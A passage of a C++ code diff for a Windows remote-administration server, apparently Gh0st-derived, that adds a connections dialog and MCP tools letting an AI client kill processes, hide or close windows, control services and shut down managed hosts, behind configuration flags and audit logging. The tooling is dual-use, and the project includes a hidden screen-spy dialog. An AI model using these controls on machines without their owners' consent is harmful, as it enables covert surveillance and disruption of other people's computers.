CString s2 = context2->GetKey(nColumn);
|
||||||
|
|
||||||
|
int result = s1.Compare(s2);
|
||||||
|
return bAscending ? result : -result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::SortByColumn(int nColumn)
|
||||||
|
{
|
||||||
|
if (nColumn == m_nSortColumn) {
|
||||||
|
m_bSortAscending = !m_bSortAscending;
|
||||||
|
} else {
|
||||||
|
m_nSortColumn = nColumn;
|
||||||
|
m_bSortAscending = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
|
||||||
|
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
|
||||||
|
}
|
||||||
|
|
||||||
|
void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
|
{
|
||||||
|
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||||
|
SortByColumn(pNMHeader->iItem);
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "afxcmn.h"
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
#include "afxwin.h"
|
||||||
|
|
||||||
|
// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。
|
||||||
|
|
||||||
|
class CConnectionsDlg : public DialogBase
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CConnectionsDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||||
|
virtual ~CConnectionsDlg();
|
||||||
|
|
||||||
|
int ShowConnectionList(void);
|
||||||
|
void OnReceiveComplete(void);
|
||||||
|
|
||||||
|
enum { IDD = IDD_DIALOG_CONNECTIONS };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CListCtrl m_ControlList;
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
|
||||||
|
void DeleteAllItems();
|
||||||
|
void SortByColumn(int nColumn);
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnConnectionKill();
|
||||||
|
afx_msg void OnConnectionRefresh();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||||
|
|
||||||
|
CStatic m_Count;
|
||||||
|
int m_nRClickItem;
|
||||||
|
int m_nSortColumn;
|
||||||
|
bool m_bSortAscending;
|
||||||
|
};
|
||||||
@@ -268,7 +268,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
|
|||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
// ShowWindow(SW_MINIMIZE);
|
// ShowWindow(SW_MINIMIZE);
|
||||||
#endif
|
#endif
|
||||||
m_strTip = CString("请等待......");
|
m_strTip = _TR("请等待......");
|
||||||
return TRUE; // return TRUE unless you set the focus to a control
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
// EXCEPTION: OCX Property Pages should return FALSE
|
// EXCEPTION: OCX Property Pages should return FALSE
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -703,12 +703,13 @@ protected:
|
|||||||
if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
|
if (langCode == _T("zh_CN")) return _T("Simplified Chinese");
|
||||||
if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
|
if (langCode == _T("zh_TW")) return _T("Traditional Chinese");
|
||||||
if (langCode == _T("en_US")) return _T("English");
|
if (langCode == _T("en_US")) return _T("English");
|
||||||
|
if (langCode == _T("de_DE")) return _T("Deutsch");
|
||||||
return langCode;
|
return langCode;
|
||||||
}
|
}
|
||||||
|
|
||||||
LPCDLGTEMPLATE CreateDialogTemplate()
|
LPCDLGTEMPLATE CreateDialogTemplate()
|
||||||
{
|
{
|
||||||
const WORD DLG_WIDTH = 200;
|
const WORD DLG_WIDTH = 260;
|
||||||
const WORD DLG_HEIGHT = 75;
|
const WORD DLG_HEIGHT = 75;
|
||||||
|
|
||||||
m_templateBuffer.clear();
|
m_templateBuffer.clear();
|
||||||
@@ -722,24 +723,24 @@ protected:
|
|||||||
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
AppendData(&dlgTemplate, sizeof(DLGTEMPLATE));
|
||||||
AppendWord(0); // 菜单
|
AppendWord(0); // 菜单
|
||||||
AppendWord(0); // 窗口类
|
AppendWord(0); // 窗口类
|
||||||
AppendString(_T("Select Language"));
|
AppendString(_T("切换语言 / Switch Language"));
|
||||||
AlignToDword();
|
AlignToDword();
|
||||||
|
|
||||||
// 静态文本
|
// 静态文本
|
||||||
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
|
AddControl(0x0082, 15, 15, 50, 12, (WORD)-1,
|
||||||
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("Language:"));
|
SS_LEFT | WS_CHILD | WS_VISIBLE, _T("语言:"));
|
||||||
|
|
||||||
// ComboBox
|
// ComboBox
|
||||||
AddControl(0x0085, 65, 13, 120, 150, 1001,
|
AddControl(0x0085, 65, 13, 180, 150, 1001,
|
||||||
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
|
CBS_DROPDOWNLIST | WS_CHILD | WS_VISIBLE | WS_TABSTOP | WS_VSCROLL, _T(""));
|
||||||
|
|
||||||
// OK 按钮
|
// OK 按钮
|
||||||
AddControl(0x0080, 45, 50, 50, 14, IDOK,
|
AddControl(0x0080, 75, 50, 50, 14, IDOK,
|
||||||
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("OK"));
|
BS_DEFPUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("确定"));
|
||||||
|
|
||||||
// Cancel 按钮
|
// Cancel 按钮
|
||||||
AddControl(0x0080, 105, 50, 50, 14, IDCANCEL,
|
AddControl(0x0080, 135, 50, 50, 14, IDCANCEL,
|
||||||
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("Cancel"));
|
BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE | WS_TABSTOP, _T("取消"));
|
||||||
|
|
||||||
return (LPCDLGTEMPLATE)m_templateBuffer.data();
|
return (LPCDLGTEMPLATE)m_templateBuffer.data();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -840,6 +840,129 @@ Json::Value BuildServiceListOutputSchema() {
|
|||||||
return schema;
|
return schema;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ========== P7 输入/输出 schema ==========
|
||||||
|
|
||||||
|
// 公共:为 props 追加必填的 id 字符串属性。
|
||||||
|
static void AddIdRequiredProp(Json::Value& props) {
|
||||||
|
Json::Value idProp(Json::objectValue);
|
||||||
|
idProp["type"] = "string";
|
||||||
|
idProp["description"] = u8"主机 id,取 list_online_hosts / search_hosts 返回的 id 字段";
|
||||||
|
props["id"] = idProp;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 公共:组装 {id, ...额外必填} 的 object schema。
|
||||||
|
static Json::Value FinalizeIdSchema(Json::Value props, std::initializer_list<const char*> extraRequired) {
|
||||||
|
Json::Value schema(Json::objectValue);
|
||||||
|
schema["type"] = "object";
|
||||||
|
schema["properties"] = props;
|
||||||
|
Json::Value required(Json::arrayValue);
|
||||||
|
required.append("id");
|
||||||
|
for (const char* r : extraRequired) required.append(r);
|
||||||
|
schema["required"] = required;
|
||||||
|
return schema;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 公共:{ ok: boolean } 输出 schema(operate_window / control_service / power_action 共用)。
|
||||||
|
static Json::Value BuildOkOutputSchema() {
|
||||||
|
Json::Value props(Json::objectValue);
|
||||||
|
Json::Value ok(Json::objectValue);
|
||||||
|
ok["type"] = "boolean";
|
||||||
|
props["ok"] = ok;
|
||||||
|
Json::Value schema(Json::objectValue);
|
||||||
|
schema["type"] = "object";
|
||||||
|
schema["properties"] = props;
|
||||||
|
return schema;
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildKillProcessInputSchema() {
|
||||||
|
Json::Value props(Json::objectValue);
|
||||||
|
AddIdRequiredProp(props);
|
||||||
|
|
||||||
|
Json::Value pidsProp(Json::objectValue);
|
||||||
|
pidsProp["type"] = "array";
|
||||||
|
Json::Value pidItems(Json::objectValue);
|
||||||
|
pidItems["type"] = "integer";
|
||||||
|
pidsProp["items"] = pidItems;
|
||||||
|
pidsProp["description"] = u8"要终止的进程 PID 列表(至少 1 个)";
|
||||||
|
props["pids"] = pidsProp;
|
||||||
|
|
||||||
|
return FinalizeIdSchema(props, { "pids" });
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildKillProcessOutputSchema() {
|
||||||
|
Json::Value props(Json::objectValue);
|
||||||
|
Json::Value remProp(Json::objectValue);
|
||||||
|
remProp["type"] = "array";
|
||||||
|
Json::Value remItems(Json::objectValue);
|
||||||
|
remItems["type"] = "integer";
|
||||||
|
remProp["items"] = remItems;
|
||||||
|
remProp["description"] = u8"杀完后仍在运行的 PID(含权限不足未能终止的)";
|
||||||
|
props["remaining"] = remProp;
|
||||||
|
|
||||||
|
Json::Value schema(Json::objectValue);
|
||||||
|
schema["type"] = "object";
|
||||||
|
schema["properties"] = props;
|
||||||
|
return schema;
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildOperateWindowInputSchema() {
|
||||||
|
Json::Value props(Json::objectValue);
|
||||||
|
AddIdRequiredProp(props);
|
||||||
|
|
||||||
|
Json::Value hwndProp(Json::objectValue);
|
||||||
|
hwndProp["type"] = "integer";
|
||||||
|
hwndProp["description"] = u8"窗口句柄,取 list_windows 返回的 hwnd 字段";
|
||||||
|
props["hwnd"] = hwndProp;
|
||||||
|
|
||||||
|
Json::Value actionProp(Json::objectValue);
|
||||||
|
actionProp["type"] = "string";
|
||||||
|
actionProp["description"] = u8"操作:close(关闭) | show(显示) | hide(隐藏) | minimize(最小化) | maximize(最大化) | restore(还原)";
|
||||||
|
props["action"] = actionProp;
|
||||||
|
|
||||||
|
return FinalizeIdSchema(props, { "hwnd", "action" });
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildOperateWindowOutputSchema() {
|
||||||
|
return BuildOkOutputSchema();
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildControlServiceInputSchema() {
|
||||||
|
Json::Value props(Json::objectValue);
|
||||||
|
AddIdRequiredProp(props);
|
||||||
|
|
||||||
|
Json::Value nameProp(Json::objectValue);
|
||||||
|
nameProp["type"] = "string";
|
||||||
|
nameProp["description"] = u8"服务名,取 list_services 返回的 service_name 字段";
|
||||||
|
props["service_name"] = nameProp;
|
||||||
|
|
||||||
|
Json::Value actionProp(Json::objectValue);
|
||||||
|
actionProp["type"] = "string";
|
||||||
|
actionProp["description"] = u8"操作:start(启动) | stop(停止) | set_auto(设为自动) | set_manual(设为手动)";
|
||||||
|
props["action"] = actionProp;
|
||||||
|
|
||||||
|
return FinalizeIdSchema(props, { "service_name", "action" });
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildControlServiceOutputSchema() {
|
||||||
|
return BuildOkOutputSchema();
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildPowerActionInputSchema() {
|
||||||
|
Json::Value props(Json::objectValue);
|
||||||
|
AddIdRequiredProp(props);
|
||||||
|
|
||||||
|
Json::Value actionProp(Json::objectValue);
|
||||||
|
actionProp["type"] = "string";
|
||||||
|
actionProp["description"] = u8"操作:logout(注销) | shutdown(关机) | reboot(重启)";
|
||||||
|
props["action"] = actionProp;
|
||||||
|
|
||||||
|
return FinalizeIdSchema(props, { "action" });
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::Value BuildPowerActionOutputSchema() {
|
||||||
|
return BuildOkOutputSchema();
|
||||||
|
}
|
||||||
|
|
||||||
// list_registry 的 inputSchema(id 必填,path 可选;path 缺省/空 = 列根键)
|
// list_registry 的 inputSchema(id 必填,path 可选;path 缺省/空 = 列根键)
|
||||||
Json::Value BuildListRegistryInputSchema() {
|
Json::Value BuildListRegistryInputSchema() {
|
||||||
Json::Value props(Json::objectValue);
|
Json::Value props(Json::objectValue);
|
||||||
@@ -1163,6 +1286,20 @@ Json::Value BuildUploadFileOutputSchema();
|
|||||||
std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||||
std::string BuildRemoteClipboard(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
std::string BuildRemoteClipboard(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||||
|
|
||||||
|
// ===== P7 前置声明(定义见下方「tools/call 分派」前)=====
|
||||||
|
Json::Value BuildKillProcessInputSchema();
|
||||||
|
Json::Value BuildKillProcessOutputSchema();
|
||||||
|
Json::Value BuildOperateWindowInputSchema();
|
||||||
|
Json::Value BuildOperateWindowOutputSchema();
|
||||||
|
Json::Value BuildControlServiceInputSchema();
|
||||||
|
Json::Value BuildControlServiceOutputSchema();
|
||||||
|
Json::Value BuildPowerActionInputSchema();
|
||||||
|
Json::Value BuildPowerActionOutputSchema();
|
||||||
|
std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||||
|
std::string BuildOperateWindow(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||||
|
std::string BuildControlService(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||||
|
std::string BuildPowerAction(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent);
|
||||||
|
|
||||||
// tools/list
|
// tools/list
|
||||||
std::string BuildToolsListResult(const Json::Value& id) {
|
std::string BuildToolsListResult(const Json::Value& id) {
|
||||||
Json::Value result(Json::objectValue);
|
Json::Value result(Json::objectValue);
|
||||||
@@ -1433,6 +1570,43 @@ std::string BuildToolsListResult(const Json::Value& id) {
|
|||||||
tools.append(tool);
|
tools.append(tool);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 18) kill_process / operate_window / control_service / power_action(P7:设备管理控制,
|
||||||
|
// 仅 Windows,安全门:McpManage=1 且 McpReadonly=0)
|
||||||
|
if (CMcpServer::Instance().IsManageEnabled() && !CMcpServer::Instance().IsReadonly()) {
|
||||||
|
{
|
||||||
|
Json::Value tool(Json::objectValue);
|
||||||
|
tool["name"] = "kill_process";
|
||||||
|
tool["description"] = u8"终止指定在线 Windows 主机上的一个或多个进程(TerminateProcess 强制结束,不保存进程状态,可能造成数据丢失)。返回 remaining(杀完后仍在运行的 PID)。不可撤销,请谨慎确认 PID。";
|
||||||
|
tool["inputSchema"] = BuildKillProcessInputSchema();
|
||||||
|
tool["outputSchema"] = BuildKillProcessOutputSchema();
|
||||||
|
tools.append(tool);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
Json::Value tool(Json::objectValue);
|
||||||
|
tool["name"] = "operate_window";
|
||||||
|
tool["description"] = u8"对指定在线 Windows 主机的窗口执行操作:close(关闭)/show(显示)/hide(隐藏)/minimize(最小化)/maximize(最大化)/restore(还原)。hwnd 取 list_windows 返回的 hwnd。ok 仅表示已下发(窗口句柄可能已失效)。";
|
||||||
|
tool["inputSchema"] = BuildOperateWindowInputSchema();
|
||||||
|
tool["outputSchema"] = BuildOperateWindowOutputSchema();
|
||||||
|
tools.append(tool);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
Json::Value tool(Json::objectValue);
|
||||||
|
tool["name"] = "control_service";
|
||||||
|
tool["description"] = u8"控制指定在线 Windows 主机的服务:start(启动)/stop(停止)/set_auto(设为自动)/set_manual(设为手动)。service_name 取 list_services 返回的 service_name。ok 仅表示已下发(成功与否需再查 list_services 核对状态)。";
|
||||||
|
tool["inputSchema"] = BuildControlServiceInputSchema();
|
||||||
|
tool["outputSchema"] = BuildControlServiceOutputSchema();
|
||||||
|
tools.append(tool);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
Json::Value tool(Json::objectValue);
|
||||||
|
tool["name"] = "power_action";
|
||||||
|
tool["description"] = u8"对指定在线 Windows 主机执行电源操作:logout(注销)/shutdown(关机)/reboot(重启)。不可撤销,主机将立即下线;需客户端管理员权限。";
|
||||||
|
tool["inputSchema"] = BuildPowerActionInputSchema();
|
||||||
|
tool["outputSchema"] = BuildPowerActionOutputSchema();
|
||||||
|
tools.append(tool);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
result["tools"] = tools;
|
result["tools"] = tools;
|
||||||
return BuildResult(id, result);
|
return BuildResult(id, result);
|
||||||
}
|
}
|
||||||
@@ -4175,6 +4349,332 @@ std::string BuildUploadFile(const Json::Value& id, const Json::Value& args, CMy2
|
|||||||
return BuildError(id, -32001, msg);
|
return BuildError(id, -32001, msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ========== P7:设备管理控制 ==========
|
||||||
|
|
||||||
|
// 读取 JSON number 或纯数字字符串为 uint64。
|
||||||
|
static bool ReadUInt64(const Json::Value& v, uint64_t& out) {
|
||||||
|
if (v.isNumeric()) { out = v.asUInt64(); return true; }
|
||||||
|
if (v.isString()) {
|
||||||
|
std::string s = v.asString();
|
||||||
|
if (IsDigits(s)) { out = strtoull(s.c_str(), nullptr, 10); return true; }
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool ReadUInt64Arg(const Json::Value& args, const char* key, uint64_t& out) {
|
||||||
|
if (!args.isMember(key)) return false;
|
||||||
|
return ReadUInt64(args[key], out);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 写审计(杀进程/窗口/服务/电源共用):PostMessageA 落到服务端消息/审计日志(不可关闭)。
|
||||||
|
static void AuditManageAction(CMy2015RemoteDlg* parent, uint64_t devId,
|
||||||
|
const std::string& tool, const std::string& detail) {
|
||||||
|
if (!parent) return;
|
||||||
|
std::string text = "host " + std::to_string(devId) + " " + tool + ": " + detail;
|
||||||
|
parent->PostMessageA(WM_SHOWERRORMSG,
|
||||||
|
(WPARAM)new CString(ToAnsi(text, 936).c_str()),
|
||||||
|
(LPARAM)new CString(_TR("MCP管理操作")));
|
||||||
|
}
|
||||||
|
|
||||||
|
// kill_process:主连接 COMMAND_SYSTEM → 系统子连接 TOKEN_PSLIST(就绪)→ COMMAND_KILLPROCESS
|
||||||
|
// → 补发 COMMAND_PSLIST → 第二个 TOKEN_PSLIST(确认)。payload 与 SystemDlg::OnPlistKill 一致。
|
||||||
|
std::string BuildKillProcess(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
|
||||||
|
uint64_t devId = 0;
|
||||||
|
std::string err;
|
||||||
|
if (!ParseHostIdArg(args, devId, err))
|
||||||
|
return BuildError(id, -32602, err);
|
||||||
|
|
||||||
|
context* ctx = FindMainContext(parent, devId);
|
||||||
|
if (!ctx)
|
||||||
|
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
|
||||||
|
|
||||||
|
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
|
||||||
|
return BuildError(id, -32005, "kill_process is only supported on Windows hosts");
|
||||||
|
|
||||||
|
CMcpServer& mcp = CMcpServer::Instance();
|
||||||
|
if (mcp.IsReadonly())
|
||||||
|
return BuildError(id, -32006, "kill_process is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
|
||||||
|
if (!mcp.IsManageEnabled())
|
||||||
|
return BuildError(id, -32006, "kill_process is disabled: management operations are off (set McpManage=1 to enable)");
|
||||||
|
|
||||||
|
const Json::Value& pids = args["pids"];
|
||||||
|
if (!pids.isArray() || pids.size() == 0)
|
||||||
|
return BuildError(id, -32602, "Missing or invalid parameter: pids (non-empty integer array)");
|
||||||
|
|
||||||
|
std::vector<uint64_t> pidList;
|
||||||
|
std::vector<BYTE> followUp;
|
||||||
|
followUp.push_back((BYTE)COMMAND_KILLPROCESS);
|
||||||
|
for (unsigned int i = 0; i < pids.size(); ++i) {
|
||||||
|
uint64_t pid = 0;
|
||||||
|
if (!ReadUInt64(pids[i], pid) || pid == 0)
|
||||||
|
return BuildError(id, -32602, "pids must be non-zero integers");
|
||||||
|
pidList.push_back(pid);
|
||||||
|
DWORD d = (DWORD)pid;
|
||||||
|
followUp.push_back((BYTE)(d & 0xFF));
|
||||||
|
followUp.push_back((BYTE)((d >> 8) & 0xFF));
|
||||||
|
followUp.push_back((BYTE)((d >> 16) & 0xFF));
|
||||||
|
followUp.push_back((BYTE)((d >> 24) & 0xFF));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!mcp.BeginPendingFollowUp(devId, "kill_process", followUp))
|
||||||
|
return BuildError(id, -32003, "Device busy: another request is pending for this host");
|
||||||
|
|
||||||
|
BYTE cmd = COMMAND_SYSTEM;
|
||||||
|
if (!ctx->Send2Client(&cmd, 1)) {
|
||||||
|
mcp.ClearPending(devId);
|
||||||
|
return BuildError(id, -32004, "Failed to send command to host");
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> data;
|
||||||
|
if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
|
||||||
|
return BuildError(id, -32001, "Timeout waiting for process list after kill");
|
||||||
|
|
||||||
|
UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936;
|
||||||
|
Json::Value procs = ParseProcessList(data, cp);
|
||||||
|
|
||||||
|
Json::Value remaining(Json::arrayValue);
|
||||||
|
std::string detail = "pids=";
|
||||||
|
for (size_t i = 0; i < pidList.size(); ++i) {
|
||||||
|
if (i) detail += ",";
|
||||||
|
detail += std::to_string(pidList[i]);
|
||||||
|
bool stillAlive = false;
|
||||||
|
for (unsigned int j = 0; j < procs.size(); ++j) {
|
||||||
|
if (procs[j]["pid"].asUInt64() == pidList[i]) { stillAlive = true; break; }
|
||||||
|
}
|
||||||
|
if (stillAlive) remaining.append((Json::UInt64)pidList[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
AuditManageAction(parent, devId, "kill_process", detail);
|
||||||
|
|
||||||
|
Json::Value result(Json::objectValue);
|
||||||
|
Json::Value structuredContent(Json::objectValue);
|
||||||
|
structuredContent["remaining"] = remaining;
|
||||||
|
result["structuredContent"] = structuredContent;
|
||||||
|
|
||||||
|
Json::Value content(Json::arrayValue);
|
||||||
|
Json::Value item(Json::objectValue);
|
||||||
|
item["type"] = "text";
|
||||||
|
item["text"] = remaining.empty()
|
||||||
|
? std::string(u8"目标进程已全部终止。")
|
||||||
|
: std::string(u8"仍有 ") + std::to_string((int)remaining.size()) + std::string(u8" 个进程存活(见 remaining)。");
|
||||||
|
content.append(item);
|
||||||
|
result["content"] = content;
|
||||||
|
result["isError"] = false;
|
||||||
|
|
||||||
|
return BuildResult(id, result);
|
||||||
|
}
|
||||||
|
|
||||||
|
// operate_window:主连接 COMMAND_WSLIST → 窗口子连接 TOKEN_WSLIST(就绪)→ CMD_WINDOW_CLOSE
|
||||||
|
// (close 客户端自动回 TOKEN_WSLIST)或 CMD_WINDOW_TEST(test 补发 COMMAND_WSLIST 索取)。
|
||||||
|
// 20 字节零填充 buffer 复刻 SystemDlg::OnWlistClose/OnWlistHide/Recover/Max/Min(hwnd 为 DWORD)。
|
||||||
|
std::string BuildOperateWindow(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
|
||||||
|
uint64_t devId = 0;
|
||||||
|
std::string err;
|
||||||
|
if (!ParseHostIdArg(args, devId, err))
|
||||||
|
return BuildError(id, -32602, err);
|
||||||
|
|
||||||
|
context* ctx = FindMainContext(parent, devId);
|
||||||
|
if (!ctx)
|
||||||
|
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
|
||||||
|
|
||||||
|
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
|
||||||
|
return BuildError(id, -32005, "operate_window is only supported on Windows hosts");
|
||||||
|
|
||||||
|
CMcpServer& mcp = CMcpServer::Instance();
|
||||||
|
if (mcp.IsReadonly())
|
||||||
|
return BuildError(id, -32006, "operate_window is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
|
||||||
|
if (!mcp.IsManageEnabled())
|
||||||
|
return BuildError(id, -32006, "operate_window is disabled: management operations are off (set McpManage=1 to enable)");
|
||||||
|
|
||||||
|
uint64_t hwnd = 0;
|
||||||
|
if (!ReadUInt64Arg(args, "hwnd", hwnd) || hwnd == 0)
|
||||||
|
return BuildError(id, -32602, "Missing or invalid parameter: hwnd (non-zero window handle)");
|
||||||
|
|
||||||
|
std::string action = Trim(GetStringArg(args, "action"));
|
||||||
|
|
||||||
|
BYTE lpMsgBuf[20] = { 0 };
|
||||||
|
DWORD h = (DWORD)hwnd;
|
||||||
|
if (action == "close") {
|
||||||
|
lpMsgBuf[0] = CMD_WINDOW_CLOSE;
|
||||||
|
memcpy(lpMsgBuf + 1, &h, sizeof(DWORD));
|
||||||
|
} else {
|
||||||
|
DWORD dHow;
|
||||||
|
if (action == "hide") dHow = SW_HIDE; // 0
|
||||||
|
else if (action == "show") dHow = SW_NORMAL; // 1
|
||||||
|
else if (action == "restore") dHow = SW_NORMAL; // 1
|
||||||
|
else if (action == "maximize") dHow = SW_MAXIMIZE; // 3
|
||||||
|
else if (action == "minimize") dHow = SW_MINIMIZE; // 6
|
||||||
|
else return BuildError(id, -32602,
|
||||||
|
"Invalid action: " + action + " (expect close|show|hide|minimize|maximize|restore)");
|
||||||
|
lpMsgBuf[0] = CMD_WINDOW_TEST;
|
||||||
|
memcpy(lpMsgBuf + 1, &h, sizeof(DWORD));
|
||||||
|
memcpy(lpMsgBuf + 1 + sizeof(DWORD), &dHow, sizeof(DWORD));
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> followUp(lpMsgBuf, lpMsgBuf + sizeof(lpMsgBuf));
|
||||||
|
if (!mcp.BeginPendingFollowUp(devId, "operate_window", followUp))
|
||||||
|
return BuildError(id, -32003, "Device busy: another request is pending for this host");
|
||||||
|
|
||||||
|
BYTE cmd = COMMAND_WSLIST;
|
||||||
|
if (!ctx->Send2Client(&cmd, 1)) {
|
||||||
|
mcp.ClearPending(devId);
|
||||||
|
return BuildError(id, -32004, "Failed to send command to host");
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<BYTE> data;
|
||||||
|
if (!mcp.WaitPendingWrite(devId, data, kMcpToolTimeoutMs))
|
||||||
|
return BuildError(id, -32001, "Timeout waiting for window operation");
|
||||||
|
|
||||||
|
AuditManageAction(parent, devId, "operate_window",
|
||||||
|
"action=" + action + " hwnd=" + std::to_string(hwnd));
|
||||||
|
|
||||||
|
Json::Value result(Json::objectValue);
|
||||||
|
Json::Value structuredContent(Json::objectValue);
|
||||||
|
structuredContent["ok"] = true;
|
||||||
|
result["structuredContent"] = structuredContent;
|
||||||
|
|
||||||
|
Json::Value content(Json::arrayValue);
|
||||||
|
Json::Value item(Json::objectValue);
|
||||||
|
item["type"] = "text";
|
||||||
|
item["text"] = std::string(u8"已下发窗口操作:") + action;
|
||||||
|
content.append(item);
|
||||||
|
result["content"] = content;
|
||||||
|
result["isError"] = false;
|
||||||
|
|
||||||
|
return BuildResult(id, result);
|
||||||
|
}
|
||||||
|
|
||||||
|
// control_service:主连接 COMMAND_SERVICES → 服务子连接 TOKEN_SERVERLIST(就绪)→
|
||||||
|
// COMMAND_SERVICECONFIG → 客户端写后自动 SendServicesList(确认,无需补发)。
|
||||||
|
std::string BuildControlService(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) {
|
||||||
|
uint64_t devId = 0;
|
||||||
|
std::string err;
|
||||||
|
if (!ParseHostIdArg(args, devId, err))
|
||||||
|
return BuildError(id, -32602, err);
|
||||||
|
|
||||||
|
context* ctx = FindMainContext(parent, devId);
|
||||||
|
if (!ctx)
|
||||||
|
return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId));
|
||||||
|
|
||||||
|
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||||
|
if (clientType == "LNX" || clientType == "MAC" || clientType == "APK")
|
||||||
|
return BuildError(id, -32005, "control_service is only supported on Windows hosts");
|
||||||
|
|
||||||
|
CMcpServer& mcp = CMcpServer::Instance();
|
||||||
|
if (mcp.IsReadonly())
|
||||||
|
return BuildError(id, -32006, "control_service is disabled: MCP is in read-only mode (set McpReadonly=0 to enable)");
|
||||||
|
if (!mcp.IsManageEnabled())
|
||||||
|
return BuildError(id, -32006, "control_service is disabled: management operations are off (set McpManage=1 to enable)");
|
||||||
|
|
||||||
|
std::string serviceName = Trim(GetStringArg(args, "service_name"));
|
||||||
|
if (serviceName.empty())
|
||||||
|
return BuildError(id, -32602, "Missing required parameter: service_name");
|
||||||
|
|
||||||
|
std::string action = Trim(GetStringArg(args, "action"));
|
||||||
|
BYTE bCmd;
|
||||||
|
if (action == "start") bCmd = 1;
|
||||||
|
else if (action == "stop") bCmd = 2;
|
||||||
|
else if (action == "set_auto") bCmd = 3;
|
||||||
|
